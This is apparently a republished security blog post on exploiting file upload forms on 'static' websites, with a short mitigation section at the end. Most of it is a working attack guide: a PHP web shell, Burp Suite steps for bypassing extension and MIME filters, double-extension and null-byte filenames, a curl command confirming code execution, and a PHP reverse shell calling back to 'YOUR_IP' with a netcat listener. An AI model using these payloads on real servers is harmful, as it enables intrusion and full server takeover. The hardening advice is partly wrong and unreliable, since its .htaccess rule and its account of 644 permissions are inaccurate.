Listen to this Post
Introduction:
Static websites are often perceived as inherently secure due to their lack of dynamic content and server-side processing. However, this perception creates a critical blind spot for developers and a prime target for security researchers. A common vulnerability lies in the “Contact Us” page, where improper file upload handling can transform a simple static site into a severe compromise vector. This article deconstructs this specific attack methodology, providing a hands-on guide to both exploiting and mitigating these flaws.
Learning Objectives:
- Understand why static sites are vulnerable to file upload attacks.
- Learn the techniques for fuzzing and exploiting upload functionalities.
- Master the commands to create, deliver, and establish a web shell on a vulnerable server.
You Should Know:
1. Crafting the Payload: The Web Shell
The first step is creating a malicious file that will grant you command execution on the target server. A simple PHP web shell is often the most effective.
Verified Code Snippet:
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd, $retval);
echo "</pre>";
}
?>
Step-by-Step Guide:
This code is a basic web shell. It checks if a parameter named `cmd` is passed via a GET or POST request. If so, it executes the value of `cmd` as a system command and outputs the result. Save this code in a file named shell.php. The goal is to upload this file to the target server. Once uploaded, you can access it via a browser and run commands by appending `?cmd=whoami` to the URL, effectively giving you control over the server.
2. Bypassing Client-Side Filters with Burp Suite
Many sites implement client-side validation, checking the file extension with JavaScript. This is trivial to bypass.
Verified Command/Tool Configuration:
Tool: Burp Suite Community/Professional.
Action: Intercepting HTTP Request.
Step-by-Step Guide:
- Configure your browser to use Burp Suite as a proxy.
2. In Burp, ensure “Intercept is on.”
- On the target site, attempt to upload a file with a `.php` extension. The client-side script will likely block it.
- Now, rename your `shell.php` to `shell.jpg` and attempt the upload. Burp will intercept the POST request.
- In the intercepted request, change the filename in the `Content-Disposition` header from `shell.jpg` back to
shell.php. - Forward the request. If the server only relies on client-side checks, the upload will succeed.
3. Bypassing Server-Side MIME Type Checks
Servers may check the `Content-Type` header of the upload request to verify the file type.
Verified Command/Tool Configuration:
Tool: Burp Suite.
Action: Modifying the `Content-Type` Header.
Step-by-Step Guide:
- Intercept the file upload request for your `shell.php` file in Burp Suite.
- Observe the `Content-Type` header. It will likely be
application/x-php. - Change this header to an image type, such as `image/jpeg` or
image/png. - Forward the request. This simple change can bypass naive server-side checks that validate only the MIME type.
-
Bypassing Blacklists with Double Extensions and Null Bytes
When the server blacklists extensions like.php,.exe, etc., you need to get creative.
Verified Code Snippet (For HTTP Request):
filename="shell.php.jpg" filename="shell.php.png" filename="shell.php%00.jpg"
Step-by-Step Guide:
The double extension trick (shell.php.jpg) hopes that the server checks only the last extension (.jpg) but executes based on the first (.php). The null byte injection (%00) is a classic technique that, if the server is vulnerable, will cause it to ignore everything after the null byte. So `shell.php%00.jpg` is interpreted as just shell.php. Note: This vulnerability is more common in older, unpatched systems (like PHP versions prior to 5.3.4) but should always be tested.
5. Verifying Upload and Establishing Foothold with cURL
Once you believe a shell has been uploaded, you need to verify its location and functionality.
Verified Linux Command:
curl -s "http://target-site.com/uploads/shell.php?cmd=id" | grep -A 10 -B 10 "uid="
Step-by-Step Guide:
This `curl` command fetches the output of your web shell when running the `id` command. The `-s` flag makes it silent, and the `grep` command searches for the output that confirms command execution (the `uid` of the server process). If successful, you have confirmed remote code execution.
6. Maintaining Access: Reverse Shell Payload
A web shell is interactive but limited. A reverse shell forces the target server to connect back to your machine, providing a full interactive shell.
Verified Linux Command (Payload Generation):
nc -lvnp 4444
Verified Code Snippet (PHP Reverse Shell):
<?php
$sock=fsockopen("YOUR_IP",4444);
$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
?>
Step-by-Step Guide:
- On your attacker machine, start a Netcat listener:
nc -lvnp 4444. - Replace `YOUR_IP` in the PHP code above with your machine’s public IP address.
- Upload this new PHP file to the target server.
- Access the uploaded file via your browser. This will trigger the connection back to your Netcat listener, granting you a full shell on the target.
7. Mitigation: Secure Upload Configuration (Linux Server)
The root cause is improper server configuration. Here’s how to secure an Apache server.
Verified Linux Commands & Configuration:
Disable PHP execution in upload directory: Create a `.htaccess` file.
Content of .htaccess file placed in /uploads/ directory <Files .php> Deny from all </Files>
Set strict file permissions:
chown www-data:www-data /var/www/html/uploads/
chmod 755 /var/www/html/uploads/
find /var/www/html/uploads/ -type f -exec chmod 644 {} \;
Step-by-Step Guide:
The `.htaccess` rule prevents the Apache server from executing any `.php` files within the uploads directory, rendering malicious scripts harmless. The `chown` and `chmod` commands ensure that the upload directory is owned by the web server user and has permissions that prevent unauthorized execution or modification. Files are set to be readable/writable only by the owner (644).
What Undercode Say:
- Key Takeaway 1: “Static” does not mean “Secure.” Any functionality that accepts user input, especially file uploads, introduces dynamic and potentially exploitable elements.
- Key Takeaway 2: Defense in depth is non-negotiable. Relying on a single control (e.g., client-side validation) is a guaranteed failure. Mitigation requires a combination of server-side validation, strict MIME type checking, secure random file renaming, and proper server configuration to disable execution in upload directories.
The vulnerability highlighted by the researcher is a classic example of a misplaced trust boundary. Organizations deploy static sites for simplicity and speed, often reusing templates or plugins without a thorough security review. The “Contact Us” page is particularly treacherous because it’s perceived as a low-risk feature. The real failure is architectural: the web server is configured to execute scripts in a directory designed for user-supplied content. This creates a direct path from a simple form to full server compromise. For bug bounty hunters, this is a low-hanging fruit; for defenders, it’s a critical reminder to audit every single user-facing function, no matter how trivial it seems.
Prediction:
The exploitation of static site upload functionalities will evolve from simple web shells to more sophisticated attacks targeting serverless architectures (e.g., AWS Lambda, Azure Functions) and headless CMS platforms. As these technologies store uploaded files in cloud object storage (S3, Blob Storage), we will see an increase in vulnerabilities related to pre-signed URLs and insecure direct object references (IDOR), allowing attackers to overwrite critical application logic files or poison content delivery networks (CDNs). The future of this attack vector lies in manipulating the cloud-native toolchain itself.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Vinithacker Bugbounty – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
